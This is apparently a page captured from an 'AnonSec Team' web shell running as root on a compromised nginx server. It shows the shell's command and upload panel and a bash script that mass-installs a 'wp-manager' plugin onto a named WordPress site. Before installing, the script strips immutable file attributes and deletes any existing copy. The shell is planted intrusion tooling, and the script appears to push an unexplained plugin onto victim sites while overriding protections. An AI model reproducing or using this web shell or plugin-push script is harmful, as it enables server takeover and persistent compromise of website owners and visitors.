AnonSec Team
AnonSec Team
Server IP : 149.13.87.7  /  Your IP : 185.174.145.2
Web Server : nginx
System : Linux h2 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : root ( 0)
PHP Version : 8.0.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /mnt/platforms/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /mnt/platforms/install-wp-manager-all.sh
#!/bin/bash

PLUGIN="/mnt/platforms/wp-manager.zip"
BASE_DIR="/mnt/platforms/workspaces"

DOMAINS=(
stevecolman.com
)

if [ ! -f "$PLUGIN" ]; then
    echo "ERROR: Plugin zip not found: $PLUGIN"
    exit 1
fi

for DOMAIN in "${DOMAINS[@]}"; do
    SITE_DIR="$BASE_DIR/$DOMAIN"
    PLUGIN_DIR="$SITE_DIR/wp-content/plugins/wp-manager"

    echo "========================================"
    echo "Processing: $DOMAIN"
    echo "Path: $SITE_DIR"

    if [ ! -d "$SITE_DIR" ]; then
        echo "SKIPPED: Website folder not found"
        continue
    fi

    if [ ! -f "$SITE_DIR/wp-config.php" ]; then
        echo "SKIPPED: wp-config.php not found"
        continue
    fi

    cd "$SITE_DIR" || {
        echo "FAILED: Cannot cd into $SITE_DIR"
        continue
    }

    echo "Removing old wp-manager plugin folder if exists..."

    if [ -d "$PLUGIN_DIR" ]; then
        chattr -R -i "$PLUGIN_DIR" 2>/dev/null
        chmod -R u+rwX "$PLUGIN_DIR" 2>/dev/null
        rm -rf "$PLUGIN_DIR"
    fi

    if [ -d "$PLUGIN_DIR" ]; then
        echo "FAILED: Could not remove old plugin folder: $PLUGIN_DIR"
        continue
    fi

    echo "Installing and activating plugin..."

    wp plugin install "$PLUGIN" --activate --allow-root

    if [ $? -eq 0 ]; then
        echo "SUCCESS: Installed and activated on $DOMAIN"
    else
        echo "FAILED: Plugin install/activation failed on $DOMAIN"
    fi

    rm -f "$SITE_DIR/.maintenance" 2>/dev/null
done

echo "========================================"
echo "Done."

AnonSec - 2021